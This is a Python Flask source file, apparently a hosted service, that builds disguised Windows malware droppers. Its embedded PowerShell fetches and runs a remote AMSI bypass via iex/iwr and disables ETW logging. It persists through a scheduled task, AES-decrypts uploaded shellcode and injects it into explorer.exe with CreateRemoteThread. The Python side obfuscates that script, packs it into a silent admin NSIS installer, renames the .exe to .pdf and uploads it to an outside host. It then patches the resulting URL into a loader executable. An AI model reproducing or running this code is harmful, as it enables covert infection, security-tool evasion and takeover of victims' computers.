Spaces:
Sleeping
Sleeping
File size: 16,963 Bytes
017ade8 749898e edba52b 017ade8 749898e 017ade8 edba52b f1cd1b2 017ade8 ef2c28e 017ade8 1e06564 1935f57 fdd6b99 1e06564 017ade8 a3dfa20 017ade8 7307ab2 a3dfa20 1935f57 a3dfa20 017ade8 1935f57 017ade8 fdd6b99 017ade8 749898e 9489543 749898e 017ade8 749898e 017ade8 749898e 017ade8 749898e 017ade8 749898e 017ade8 fdd6b99 017ade8 fdd6b99 017ade8 b53638f a3dfa20 b53638f 017ade8 749898e 9489543 749898e 017ade8 c63b7c6 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 |
import os
import subprocess
import random
import string
from datetime import datetime
from flask import jsonify, send_file, current_app
import shutil
import tempfile
import requests
import json
import zipfile
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
PE_FOLDER = os.path.join(BASE_DIR, "pe")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
NSIS_COMPILER = "makensis" # Ensure NSIS is installed on your Linux system
OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
def generate_random_string(length=8):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def obfuscate_powershell_script(ps1_path):
try:
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
current_app.logger.info(f"Running obfuscation command: {cmd}")
current_app.logger.info(f"Input PowerShell script path: {ps1_path}")
process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
process.stdin.write(f"{ps1_path}\n")
process.stdin.flush()
stdout, stderr = process.communicate()
# Log the stdout and stderr for debugging
current_app.logger.info(f"Obfuscation script stdout: {stdout}")
current_app.logger.error(f"Obfuscation script stderr: {stderr}")
if process.returncode != 0:
raise Exception(f"Error obfuscating PowerShell script: {stderr}")
# Check if the obfuscated file was created
obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
if not os.path.exists(obfuscated_file):
raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
return obfuscated_file
except Exception as e:
raise Exception(f"Obfuscation failed: {str(e)}")
return obfuscated_file
except Exception as e:
raise Exception(f"Obfuscation failed: {str(e)}")
def generate_nsi_script(folder_path, bin_file, ps1_file):
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
# NSIS script template
NSIS_SCRIPT_TEMPLATE = r"""
; NeuraScope Insight Installer Script
!include "MUI2.nsh"
!include "LogicLib.nsh"
; Basic definitions
Name "ProductName"
OutFile "{installer_output}"
InstallDir "$WINDIR\..\ProgramData\Installer"
RequestExecutionLevel admin
SetCompressor /SOLID lzma
SetCompressorDictSize 96
SetDatablockOptimize ON
; Interface settings
!define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
!define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
; Pages
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "English"
; Basic Version Information
VIProductVersion "1.0.0.0"
VIAddVersionKey "ProductName" "ProductName"
VIAddVersionKey "CompanyName" "CompanyName"
VIAddVersionKey "LegalCopyright" "LegalCopyright"
VIAddVersionKey "FileVersion" "1.0.0.0"
VIAddVersionKey "FileDescription" "FileDescription"
ShowInstDetails hide
AutoCloseWindow true
Section "MainSection" SEC01
SetDetailsPrint none
SetOutPath "$WINDIR\..\ProgramData\Installer"
File "{bin_file}"
File "{ps1_file}"
ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
SetAutoClose true
SectionEnd
"""
script_content = NSIS_SCRIPT_TEMPLATE.format(
installer_output=installer_output,
bin_file=bin_file,
ps1_file=ps1_file,
)
nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
with open(nsi_file_path, 'w') as file:
file.write(script_content)
return nsi_file_path, installer_output
def compile_nsi_script(nsi_file_path):
try:
compile_cmd = [NSIS_COMPILER, nsi_file_path]
compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
if compile_result.returncode != 0:
raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
return compile_result
except subprocess.CalledProcessError as e:
raise Exception(f"Compilation failed: {str(e)}")
except Exception as e:
raise Exception(f"Unexpected error during compilation: {str(e)}")
def upload_file_to_server(file_path):
try:
# Rename the .exe file to .pdf
renamed_file_path = file_path.replace('.exe', '.pdf')
os.rename(file_path, renamed_file_path)
# Upload the renamed file to the server
with open(renamed_file_path, 'rb') as file:
response = requests.post(UPLOAD_URL, files={'file': file})
if response.status_code == 200:
data = response.json()
# Assuming the server returns a 'file_url' key with the file URL
filename = os.path.basename(renamed_file_path)
fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
return fixed_url
else:
raise Exception(f"Failed to upload file: {response.json()}")
except Exception as e:
raise Exception(f"Error during file upload: {str(e)}")
def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
if len(new_url) > len(old_url):
raise ValueError("New URL must not be longer than the old URL.")
new_url_padded = new_url.ljust(len(old_url), '\x00')
new_string_padded = new_string.ljust(len(old_string), '\x00')
try:
with open(file_path, 'rb') as exe_file:
data = exe_file.read()
# Try different encodings of the old URL
encodings = ['utf-8', 'ascii', 'utf-16le']
url_found = False
for encoding in encodings:
old_url_bytes = old_url.encode(encoding)
if old_url_bytes in data:
print(f"URL found with encoding: {encoding}")
url_found = True
break
if not url_found:
raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
# Try different encodings for the old string
string_found = False
for encoding in encodings:
old_string_bytes = old_string.encode(encoding)
if old_string_bytes in data:
print(f"String found with encoding: {encoding}")
string_found = True
break
if not string_found:
raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
# Replace the old URL with the new URL
new_url_bytes = new_url_padded.encode(encoding)
modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
# Replace the old string with the new string
new_string_bytes = new_string_padded.encode(encoding)
modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
# Save the modified executable with a random name
modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
with open(modified_file_path, 'wb') as modified_file:
modified_file.write(modified_data)
return modified_file_path
except Exception as e:
raise Exception(f"An error occurred: {e}")
def process_request(request):
temp_dir = None # Initialize temp_dir to be used in the finally block
try:
# Save the incoming binary file
if 'file' not in request.files:
raise ValueError("No file part in the request")
file = request.files['file']
if file.filename == '':
raise ValueError("No selected file")
random_folder = generate_random_string()
temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
bin_path = os.path.join(temp_dir, file.filename)
file.save(bin_path)
# Extract the file name from the full binary path
bin_file_name = os.path.basename(bin_path)
# Create the PowerShell script with the provided content
ps1_content = f'''
# Download and execute the script from the provided URL
iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
# Run the Invoke-NullAMSI command
Invoke-NullAMSI
Invoke-NullAMSI -etw
# Define the content of the VBScript
$vbsContent = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
'@
# Define the file path for the .vbs file in the desired location
$vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
# Write the content to the .vbs file
$vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
Write-Host "VBScript file created at: $vbsFilePath"
$Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
# Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
# Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
if ($keyBytes.Length -gt 16) {{
$keyBytes = $keyBytes[0..15] # Trim the key to 16 bytes if it's longer
}}
elseif ($keyBytes.Length -lt 16) {{
# If the key is too short, pad it with zeros to make it 16 bytes
$keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
}}
# Function to download the encrypted binary from the server
function Download-EncryptedShellcode {{
param([string]$url)
# Download the encrypted binary file directly into memory as a byte array
$response = Invoke-WebRequest -Uri $url -UseBasicParsing
return $response.Content
}}
# Read the encrypted shellcode from a local binary file
$encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
# Create an AES encryption object
$aes = [System.Security.Cryptography.Aes]::Create()
# Set the decryption key and initialization vector (IV)
$aes.Key = $keyBytes
$aes.IV = $keyBytes[0..15] # Use the first 16 bytes of the key for the IV
# Create a memory stream to hold the decrypted data
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
# Decrypt the encrypted data into the memory stream
$cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
$cryptoStream.Close()
# Get the decrypted shellcode
$buf = $memoryStream.ToArray()
# Anti-debugging mechanism
function IsDebuggerPresent {{
$IsDebuggerPresentCode = @"
using System;
using System.Runtime.InteropServices;
public class DebugHelper {{
[DllImport(\\"kernel32.dll\\")]
public static extern bool IsDebuggerPresent();
}}
"@
$debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
return $debugHelper::IsDebuggerPresent()
}}
if (IsDebuggerPresent) {{
Write-Host "Debugger detected. Exiting."
exit
}}
# Inject shellcode into a target process (example: explorer.exe)
$Win32APICode = @"
using System;
using System.Runtime.InteropServices;
public class Win32API {{
[DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
}}
"@
$win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
# Target process (explorer.exe) injection
$targetProcess = Get-Process explorer | Select-Object -First 1
$processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
# Allocate memory in the target process
$size = 0x1000
if ($buf.Length -gt $size) {{ $size = $buf.Length }}
$remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
# Write the shellcode into the allocated memory
$bytesWritten = [IntPtr]::Zero
$win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
# Create a remote thread to execute the shellcode
$threadId = [IntPtr]::Zero
$win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
# Close the process handle
$win32api::CloseHandle($processHandle)
Write-Host "Shellcode injection completed successfully."
'''
ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
with open(ps1_path, 'w') as ps1_file:
ps1_file.write(ps1_content)
# Obfuscate the PowerShell script
obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
# Check if the obfuscated file exists before renaming
if not os.path.exists(obfuscated_ps1_path):
raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
# Rename the obfuscated file to Verification.ps1
verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
os.rename(obfuscated_ps1_path, verification_ps1_path)
# Generate and compile the NSIS script
nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
compile_nsi_script(nsi_file_path)
# Upload the resulting EXE file (renamed to PDF) to the server
download_url = upload_file_to_server(installer_output)
# Print the new string and new URL for debugging
new_string = os.path.basename(download_url)
new_url = download_url
print(f"new_string: {new_string}")
print(f"new_url: {new_url}")
# Replace URL in PE executable
pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
modified_pe_path = replace_url_in_exe(
file_path=pe_exe_path,
old_url="https://ambelo-benjamin.hf.space/uploads/setup_20250102_062242.pdf",
new_url=download_url,
old_string="setup_20250102_062243.pdf",
new_string=os.path.basename(download_url)
)
# Zip the modified executable
zip_filename = generate_random_string() + ".zip"
zip_filepath = os.path.join(temp_dir, zip_filename)
with zipfile.ZipFile(zip_filepath, 'w') as zipf:
zipf.write(modified_pe_path, os.path.basename(modified_pe_path))
# Return the zip file in the response
return send_file(zip_filepath, as_attachment=True, download_name=zip_filename)
except Exception as e:
current_app.logger.error(f"An error occurred: {str(e)}")
return jsonify({"error": str(e)}), 500
finally:
# Clean up temporary directories and files
if temp_dir and os.path.exists(temp_dir):
shutil.rmtree(temp_dir, ignore_errors=True) |